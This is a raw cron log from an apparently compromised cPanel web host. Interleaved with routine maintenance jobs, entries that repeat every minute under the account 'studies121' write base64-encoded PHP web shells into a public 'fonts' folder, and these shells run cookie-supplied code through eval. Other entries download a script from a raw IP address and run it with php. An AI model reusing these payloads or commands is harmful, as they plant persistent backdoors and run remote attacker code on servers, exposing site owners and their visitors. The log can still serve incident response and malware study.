Sep  8 04:12:01 ip-184-168-122-23 CROND[7326]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 04:12:01 ip-184-168-122-23 CROND[7328]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 04:12:01 ip-184-168-122-23 CROND[7329]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 04:12:01 ip-184-168-122-23 CROND[7330]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 04:12:01 ip-184-168-122-23 CROND[7331]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 04:13:01 ip-184-168-122-23 CROND[7514]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 04:13:01 ip-184-168-122-23 CROND[7515]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 04:13:01 ip-184-168-122-23 CROND[7518]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 04:13:01 ip-184-168-122-23 CROND[7516]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 04:14:01 ip-184-168-122-23 CROND[7614]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 04:14:01 ip-184-168-122-23 CROND[7618]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 04:14:01 ip-184-168-122-23 CROND[7616]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 04:14:01 ip-184-168-122-23 CROND[7617]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 04:14:01 ip-184-168-122-23 CROND[7619]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 04:15:01 ip-184-168-122-23 CROND[7714]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 04:15:01 ip-184-168-122-23 CROND[7715]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 04:15:01 ip-184-168-122-23 CROND[7716]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 04:15:01 ip-184-168-122-23 CROND[7719]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 04:15:01 ip-184-168-122-23 CROND[7718]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 04:15:01 ip-184-168-122-23 CROND[7720]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep  8 04:15:01 ip-184-168-122-23 CROND[7721]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 04:16:01 ip-184-168-122-23 CROND[7824]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 04:16:01 ip-184-168-122-23 CROND[7826]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 04:16:01 ip-184-168-122-23 CROND[7827]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 04:16:01 ip-184-168-122-23 CROND[7829]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 04:16:01 ip-184-168-122-23 CROND[7828]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 04:16:01 ip-184-168-122-23 CROND[7830]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  8 04:17:02 ip-184-168-122-23 CROND[7984]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 04:17:02 ip-184-168-122-23 CROND[7982]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 04:17:02 ip-184-168-122-23 CROND[7981]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 04:17:02 ip-184-168-122-23 CROND[7983]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 04:18:01 ip-184-168-122-23 CROND[8094]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 04:18:01 ip-184-168-122-23 CROND[8092]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 04:18:01 ip-184-168-122-23 CROND[8099]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 04:18:01 ip-184-168-122-23 CROND[8098]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 04:18:01 ip-184-168-122-23 CROND[8100]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 04:19:02 ip-184-168-122-23 CROND[8269]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 04:19:02 ip-184-168-122-23 CROND[8270]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 04:19:02 ip-184-168-122-23 CROND[8274]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 04:19:02 ip-184-168-122-23 CROND[8275]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 04:20:01 ip-184-168-122-23 CROND[8379]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 04:20:01 ip-184-168-122-23 CROND[8383]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  8 04:20:01 ip-184-168-122-23 CROND[8385]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 04:20:01 ip-184-168-122-23 CROND[8382]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 04:20:01 ip-184-168-122-23 CROND[8384]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 04:20:01 ip-184-168-122-23 CROND[8387]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 04:20:01 ip-184-168-122-23 CROND[8381]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 04:20:01 ip-184-168-122-23 CROND[8380]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 04:20:01 ip-184-168-122-23 CROND[8386]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 04:21:01 ip-184-168-122-23 CROND[8515]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 04:21:01 ip-184-168-122-23 CROND[8518]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 04:21:01 ip-184-168-122-23 CROND[8517]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 04:21:01 ip-184-168-122-23 CROND[8519]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 04:22:01 ip-184-168-122-23 CROND[8643]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 04:22:01 ip-184-168-122-23 CROND[8645]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 04:22:01 ip-184-168-122-23 CROND[8647]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 04:22:01 ip-184-168-122-23 CROND[8646]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 04:22:01 ip-184-168-122-23 CROND[8644]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 04:23:01 ip-184-168-122-23 CROND[8749]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 04:23:01 ip-184-168-122-23 CROND[8751]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 04:23:01 ip-184-168-122-23 CROND[8750]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 04:23:01 ip-184-168-122-23 CROND[8752]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 04:24:01 ip-184-168-122-23 CROND[8876]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
